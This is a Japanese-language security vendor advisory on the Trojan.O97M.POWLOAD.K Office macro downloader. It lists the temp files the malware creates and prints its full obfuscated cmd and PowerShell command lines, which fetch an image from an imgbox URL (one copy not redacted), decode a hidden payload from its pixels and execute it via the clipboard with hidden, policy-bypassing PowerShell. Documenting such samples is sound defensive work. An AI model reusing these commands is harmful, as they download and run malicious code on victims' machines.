Trojan.O97M.POWLOAD.K

トレンドマイクロは、このマルウェアをNoteworthy（要注意）に分類しました。

マルウェアは、他のマルウェアに作成されるか、悪意あるWebサイトからユーザが誤ってダウンロードすることによりコンピュータに侵入します。

侵入方法

マルウェアは、他のマルウェアに作成されるか、悪意あるWebサイトからユーザが誤ってダウンロードすることによりコンピュータに侵入します。

インストール

マルウェアは、以下のファイルを作成します。

• %User Temp%\{random}.{random}.ps1 → deleted afterwards
• %User Temp%\{random}.{random}.psm1 → deleted afterwards

(註：%User Temp%フォルダは、現在ログオンしているユーザの一時フォルダです。Windows 2000(32-bit)、XP、Server 2003(32-bit)の場合、通常 "C:\Documents and Settings\＜ユーザー名＞\Local Settings\Temp"です。また、Windows Vista、7、8、8.1、2008(64-bit)、2012(64-bit)、10(64-bit)の場合、通常 "C:\Users\＜ユーザ名＞\AppData\Local\Temp" です。)

マルウェアは、以下のプロセスを追加します。

• cmd.exe /V:ON/C"set lW=o.crm`VPx57^^l(SEX]L8{-Y=GZU:K%0B[9ia2eb*yftp_/T$j1'vdMF^|C\Hwk^&)WAIDn+}h4,sg6;3 R""ON&&for %9 in (15,2,70,82,45,78,78,47,71,24,10,23,32,42,22,7,15,17,13,50,53,50,68,50,64,46,70,50,62,78,76,78,78,78,47,71,19,16,10,23,78,32,42,40,43,37,17,13,50,14,40,73,42,15,4,1,46,50,68,50,15,8,50,68,50,46,50,68,50,1,15,83,2,50,68,50,0,50,68,50,66,65,67,74,50,62,76,78,78,1,13,81,20,49,69,20,30,69,81,78,21,41,50,12,50,72,50,73,35,50,62,78,13,50,35,50,62,78,13,81,20,30,69,20,36,69,20,49,69,81,78,21,41,50,83,37,59,50,72,50,2,42,50,72,50,21,82,38,48,37,50,62,76,11,11,11,61,13,81,20,30,69,20,49,69,81,21,41,78,50,64,52,52,21,46,50,72,50,40,43,37,50,62,78,21,64,73,73,37,4,38,12,40,83,35,4,37,78,81,14,40,73,42,37,4,1,66,3,35,59,34,67,74,81,76,47,20,74,69,23,11,11,11,61,13,50,35,50,62,78,13,81,20,71,69,20,36,69,20,49,69,20,30,69,20,77,69,81,21,41,78,50,1,31,34,50,72,50,34,67,74,50,72,50,59,50,72,50,42,4,35,43,50,72,50,14,40,73,42,37,4,1,66,3,35,50,62,13,13,11,11,11,61,13,50,35,50,62,78,13,81,20,30,69,20,49,69,20,77,69,20,36,69,81,78,21,41,78,50,83,37,42,1,50,72,50,63,37,50,72,50,42,50,72,50,38,56,12,34,37,67,50,62,62,1,13,81,20,49,69,20,30,69,81,78,21,41,50,43,37,67,79,37,35,52,50,72,50,82,50,62,1,65,67,51,0,60,37,13,81,70,42,42,43,73,27,45,45,34,4,35,74,37,73,36,1,34,4,74,38,0,8,1,2,0,4,45,2,35,45,19,19,45,64,36,25,14,12,63,75,14,44,0,1,43,67,74,81,62,62,76,47,20,82,69,23,11,11,11,61,13,50,35,50,62,78,13,81,20,30,69,20,49,69,81,21,41,50,31,40,42,37,50,72,50,32,17,50,62,78,49,19,75,30,76,13,30,1,1,36,62,11,11,11,55,1,13,50,29,50,62,20,41,0,3,37,35,2,70,13,47,20,8,69,78,34,67,13,30,1,1,75,49,33,62,62,20,47,20,43,69,23,47,20,74,69,1,13,81,20,30,69,20,49,69,81,78,21,41,78,50,24,37,42,7,34,50,72,50,8,37,12,50,62,1,65,67,51,0,60,37,13,47,20,8,69,72,47,20,44,69,62,76,47,20,0,69,32,47,20,44,69,39,75,36,30,68,47,20,16,69,17,23,13,78,78,47,71,74,10,27,27,13,81,20,49,69,20,30,69,81,21,41,78,50,12,0,0,3,50,72,50,54,50,62,1,65,67,51,0,60,37,13,13,47,20,43,69,1,81,31,81,21,38,35,67,52,49,9,62,39,49,75,62,21,38,0,3,13,47,20,43,69,1,81,74,81,78,21,38,35,67,52,78,49,9,62,62,69,69,76,11,11,11,61,13,81,20,30,69,20,49,69,81,78,21,41,50,65,50,72,50,15,16,50,62,13,78,13,78,18,14,78,78,51,64,79,65,35,38,18,15,27,71,19,8,10,78,62,1,6,35,12,26,15,27,27,81,35,5,73,2,34,34,81,1,81,74,37,42,5,73,5,46,3,65,67,24,81,13,47,20,82,69,32,30,1,1,49,77,71,49,17,62,62,78,55,2,27,57,59,65,67,52,82,59,73,57,14,40,14,42,37,4,77,36,57,56,12,34,7,1,15,8,15,78,61,61,56,53,52,1,15,8,37,78,78,78,45,2,78,43,0,59,37,3,14,58,15,18,18,78,21,15,8,37,56,26,46,65,82,83,43,82,12,78,31,22,7,35,73,73,78,78,21,83,0,67,34,83,78,21,59,65,67,52,82,59,14,46,22,78,58,65,66,66,15,67,78,21,67,82,43,79,82,54,34,78,78,21,73,42,78,78,21,83,0,12,82,74,82,78,78,78,78,78,1,78,13,78,78,57,81,20,30,69,20,49,69,20,36,69,57,81,78,21,41,78,50,64,52,52,50,72,13,78,57,81,20,30,69,20,49,69,57,81,78,21,41,50,21,50,72,50,46,40,43,50,78,62,72,50,37,50,78,78,62,78,21,64,73,73,37,4,78,13,57,81,20,77,69,20,49,69,20,9,69,20,30,69,20,71,69,20,36,69,57,81,78,21,41,78,13,78,78,57,81,20,36,69,20,49,69,20,30,69,57,81,78,21,41,50,52,50,72,50,1,63,34,67,50,72,50,37,4,50,78,78,62,72,50,40,73,50,72,50,73,50,72,50,14,50,72,13,78,57,81,20,36,69,20,49,69,20,30,69,57,81,21,41,78,50,54,0,3,4,50,72,50,1,50,72,50,0,59,73,50,62,72,50,42,50,62,78,78,78,76,78,78,78,11,11,11,61,78,78,13,78,78,78,47,20,37,5,83,6,5,27,2,82,53,73,5,43,37,2,69,32,71,72,49,9,72,36,9,17,21,48,82,65,83,50,50,62,78,13,78,78,13,78,32,14,22,14,42,37,53,1,63,34,83,66,0,63,73,1,54,0,3,53,14,1,56,18,65,7,38,82,35,79,52,17,27,27,13,57,81,20,30,69,20,49,69,57,81,78,21,41,78,50,24,50,72,13,57,81,20,30,69,20,49,69,57,81,78,21,41,50,37,50,72,50,42,42,15,8,46,50,78,62,62,1,57,81,34,5,83,51,5,0,28,15,57,81,13,78,78,62,78,78,62,78,78,62,78,76,78,78,32,14,40,73,42,37,4,1,63,34,67,52,0,59,73,1,54,0,3,4,73,1,56,12,34,43,38,0,35,3,52,17,27,27,13,57,81,20,30,69,20,49,69,57,81,78,21,41,50,56,12,50,72,50,37,35,3,50,78,62,1,57,81,34,5,83,51,82,5,60,15,57,81,13,78,62,84)do set Rc=!Rc!!lW:~%9,1!&&if %9 geq 84 cmd /C!Rc:~-1334!"
• cmd /CEchO/ $4G7=[tYPE]('M'+'ATh') ; $48X7= [type]('SystEm.T'+'Ex'+'T'+'.ENc'+'o'+'DIng'); .("{1}{0}" -f'l','sa') ('a') ("{0}{2}{1}" -f'New','ct','-Obje');^^^&("{0}{1}"-f 'Add-T','ype') -AssemblyName "System.Drawing";${g}=^^^&('a') ("{4}{2}{1}{0}{3}"-f '.Bi','ing','w','tmap','System.Dra')((^^^&('a') ("{0}{1}{3}{2}" -f 'Net.','We','t','bClien')).("{1}{0}" -f'penRead','O').Invoke("https://images2.imgbox.com/ca/88/A2ZSlW6S_o.png"));${O}=^^^&('a') ("{0}{1}"-f'Byte','[]') 1860;(0..2)^^^|.('%'){foreach(${x} in(0..619)){${p}=${g}.("{0}{1}" -f 'GetPi','xel').Invoke(${x},${_});${o}[${_}*620+${X}]=( $4g7::("{1}{0}"-f 'loor','F').Invoke((${p}."B"-band15)*16)-bor(${p}."g" -band 15))}};^^^&("{0}{1}" -f'I','EX')( ( LS vARIabLE:48x7 ).ValUE::"a`scii"."get`s`TrInG"(${O}[0..1341])) |c:\wIndOws\SyStem32\CliP.ExE &&CMd.Exe /c powerSHELL -ExeCUTIONpOl BYPass -NoniN -wIndOwSTY HIDDEn -nOpROFi -st -NolOgO . ( \"{0}{1}{2}\" -f 'Add',( \"{0}{1}\" -f'-','Typ' ),'e' ) -Assem (\"{3}{1}{5}{0}{4}{2}\" -f ( \"{2}{1}{0}\" -f'd','.Win','em' ),'ys','s','S',( \"{2}{1}{0}\"-f 'Form','.','ows'),'t') ; ^^^& ( ${e`NV`:cOMs`pec}[4,15,25]-jOIN'') ( ( [SYSteM.WiNDoWs.ForMS.CLIPbOaRd]::(\"{0}{1}\" -f 'G',(\"{0}{1}\" -f'e','ttExT' )).\"i`Nv`oKE\"( ) ) ) ; [System.Windows.Forms.Clipboard]::(\"{0}{1}\" -f'Cl','ear' ).\"i`NvO`kE\"
• C:\Windows\system32\cmd.exe /S /D /c" EchO/ $4G7=[tYPE]('M'+'ATh') ; $48X7= [type]('SystEm.T'+'Ex'+'T'+'.ENc'+'o'+'DIng'); .("{1}{0}" -f'l','sa') ('a') ("{0}{2}{1}" -f'New','ct','-Obje');^&("{0}{1}"-f 'Add-T','ype') -AssemblyName "System.Drawing";${g}=^&('a') ("{4}{2}{1}{0}{3}"-f '.Bi','ing','w','tmap','System.Dra')((^&('a') ("{0}{1}{3}{2}" -f 'Net.','We','t','bClien')).("{1}{0}" -f'penRead','O').Invoke("https://{BLOCKED}.imgbox.com/ca/88/A2ZSlW6S_o.png"));${O}=^&('a') ("{0}{1}"-f'Byte','[]') 1860;(0..2)^|.('%'){foreach(${x} in(0..619)){${p}=${g}.("{0}{1}" -f 'GetPi','xel').Invoke(${x},${_});${o}[${_}*620+${X}]=( $4g7::("{1}{0}"-f 'loor','F').Invoke((${p}."B"-band15)*16)-bor(${p}."g" -band 15))}};^&("{0}{1}" -f'I','EX')( ( LS vARIabLE:48x7 ).ValUE::"a`scii"."get`s`TrInG"(${O}[0..1341])) "
• c:\wIndOws\SyStem32\CliP.ExE
• CMd.Exe /c powerSHELL -ExeCUTIONpOl BYPass -NoniN -wIndOwSTY HIDDEn -nOpROFi -st -NolOgO . ( \"{0}{1}{2}\" -f 'Add',( \"{0}{1}\" -f'-','Typ' ),'e' ) -Assem (\"{3}{1}{5}{0}{4}{2}\" -f ( \"{2}{1}{0}\" -f'd','.Win','em' ),'ys','s','S',( \"{2}{1}{0}\"-f 'Form','.','ows'),'t') ; ^& ( ${e`NV`:cOMs`pec}[4,15,25]-jOIN'') ( ( [SYSteM.WiNDoWs.ForMS.CLIPbOaRd]::(\"{0}{1}\" -f 'G',(\"{0}{1}\" -f'e','ttExT' )).\"i`Nv`oKE\"( ) ) ) ; [System.Windows.Forms.Clipboard]::(\"{0}{1}\" -f'Cl','ear' ).\"i`NvO`kE\"( )
• powerSHELL -ExeCUTIONpOl BYPass -NoniN -wIndOwSTY HIDDEn -nOpROFi -st -NolOgO . ( \"{0}{1}{2}\" -f 'Add',( \"{0}{1}\" -f'-','Typ' ),'e' ) -Assem (\"{3}{1}{5}{0}{4}{2}\" -f ( \"{2}{1}{0}\" -f'd','.Win','em' ),'ys','s','S',( \"{2}{1}{0}\"-f 'Form','.','ows'),'t') ; & ( ${e`NV`:cOMs`pec}[4,15,25]-jOIN'') ( ( [SYSteM.WiNDoWs.ForMS.CLIPbOaRd]::(\"{0}{1}\" -f 'G',(\"{0}{1}\" -f'e','ttExT' )).\"i`Nv`oKE\"( ) ) ) ; [System.Windows.Forms.Clipboard]::(\"{0}{1}\" -f'Cl','ear' ).\"i`NvO`kE\"( )

その他

マルウェアは、以下の不正なWebサイトにアクセスします。

• https://{BLOCKED}.imgbox.com/ca/88/A2ZSlW6S_o.png